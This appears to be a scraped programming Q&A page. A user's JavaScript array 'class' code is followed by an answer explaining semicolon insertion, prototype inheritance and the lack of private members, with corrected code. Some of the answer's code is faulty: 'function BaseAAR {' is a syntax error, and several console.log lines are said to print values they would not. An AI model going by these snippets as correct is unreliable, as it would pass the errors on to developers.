<div id="divMain" style='height: 100%; background:#0000FF; margin-left: 250px; border-color: #000000; border-width: 1px;'>
</div>
</div>
</body>
</html>
Test.js
var BaseARR = function()
{
_arr = []; // new Array();
// Public functions that can access private members
this.Add = function(arg)
{
var i, addAt;
if(arg==null || (addAt = FindEnterPos(arg))<0)
return false;
// since adding and not deleting anything, nothing of value will be returned
_arr.splice(addAt, 0, arg);
return true;
};
// This finds the entry position for in
FindEnterPos = function(arg)
{
return (_arr.length + 1);
};
this.arrayGet = function(i)
{
return ((_arr != null && i >= 0 && i < _arr.length) ? _arr[i] : null);
};
};
var stringId = function(id, str)
{
// public has a this. , privates have just var
this.m_Id = id; // int
this.m_String = str; // string
};
// This so allow statics
var stringIdARR = function()
{
BaseARR.call(this);
};
There are various problems in your code. Let me try to explain them.
First it is highly recommended to not put opening block braces on a single line in JavaScript. Why you may ask? Well run those two code snippets:
// using "braces on same line" style
(function () {
return {
key: 'value'
};
})();
// using "braces on line by themself"-style
(function ()
{
return
{
key: 'value'
}
})();
Both snippets will return different results, allthough the only difference is positioning of braces. The reason for this is semicolon insertion. In JavaScript semicolons are optional. So if the parser finds a newline character and the construct infront of the newline makes sense, it will insert a semicolon. In the second example this is what happens after the return statement. If you place your braces on the same line as the previous statement, you can circumvent such bugs.
The next thing you got wrong is that JavaScript has classes. JavaScript is an object oriented language, but unlike most other object oriented languages it does not have classes. In JavaScript objects inherit directly from other objects (their so called prototypes). What you currently arre referring to as a class is in reality a constructor function, which when invoked using the new keyword will create a new object, that will inherit from whatever object is stored in the constructors prototype field.
var anObject = {
key: 'value'
};
function MakeAnObject() {
}
MakeAnObject.prototype = anObject;
var o = new MakeAnObject();
console.log(o.key); // will output 'value'
If you set a property, the proerty will alwas be set on the object itself, it will never access the prototype chain, when setting a property.
If you read a property from an object, that does not have that property, JavaScript will search the objects prototype chain (that is all the objects that inherit from each other) for that property and returns it if found.
If an oject has a property itself, it's prototype chain will not be searched, so you can "override" an objects inherited properties by setting the porperty on the objects self.
Look at the following example:
function MakeThing() {
}
MakeThing.prototype = {
key: 'value'
};
var o1 = new MakeThing(), o2 = new MakeThing();
console.log(o1); // will output 'value'
console.log(o2); // will output 'value'
o2.key = 'other';
console.log(o1); // will output 'value'
console.log(o2); // will output 'other'
MakeThing.prototype.key = 'changed';
console.log(o1); // will output 'changed'
console.log(o2); // will output 'other'
delete o2.key;
console.log(o1); // will output 'changed'
console.log(o2); // will output 'changed'
With all that in mind I will have to tell you: there is no such thing as public and private members on an object in JavaScript. Members will always be public. There are some patterns which try to hide away certain information in an object using closures, but they function very different than private members in a traditional programming language. And worse: those patterns are clunky, produce terrible and very bad performing code. I suggest do not use them if you do not absoltuely require to.
So, what does all this mean? Well firstly, if you want to share attributes and methods between multiple objects, they will have to inherit from the same prototype and that prototype must contain those attributes and methods. Secondly if you set something on this it will be set on the current instance, not on the prototype. Thirdly have priavte and public members only by convention. If you absolutely require certain information to be strictly hidden from a certain subsystem, there are patterns for this (Crockford sealer unsealer should yield useable results).
All that said here a quick try at fixing your objects:
function BaseAAR {
this._arr = []; // note >this<. You created a global array in your code.
};
BaseAAR.prototype.add = function(arg) {
var i, addAt;
// always use identity (triple) operators when comparing to null!
if (arg === null || (addAt = this.findEnterPos(arg))<0)
return false;
// since adding and not deleting anything, nothing of value will be returned
this._arr.splice(addAt, 0, arg);
return true;
};
// This finds the entry position for in
BaseAAR.prototype.findEnterPos = function() {
return (this._arr.length + 1);
};
BaseAAR.prototype.arrayGet = function(i) {
return ((this._arr !== null && i >= 0 && i < this._arr.length) ? this._arr[i] : null);
};
function StringIdAAR(id, str) {
BaseAAR.call(this); // invoke the constructor of the base object
this.m_Id = id; // int
this.m_String = str; // string
}
StringIdAAR.prototype = BaseAAR.prototype; // innherit from StringIdAAR prototype
I am not completely sure if this code actually still does what you want it to do, but you should get the point how object oriented patterns in JavaScript should look like.
If you want to read more on how to write good JavaScript you should absolutely get the book "JavaScript: The Good Parts" by Douglas Crockford.
UPDATE: I also wrote an article on JavaScript object orientation and prototype based inheritance. This might be of interest for anybody passing by here.
For a great JavaScript inheritance example take a look at John Resig's Simple Inheritance implementation. I've been using a modified version of it for some time now. This article describes it in more detail.
Another library that offers similar functionality is base2, but may be overkill for your needs.
Lastly, another popular approach I've also used in the past is the Module Pattern. See this article as well for an in depth explanation of the pattern.

Categories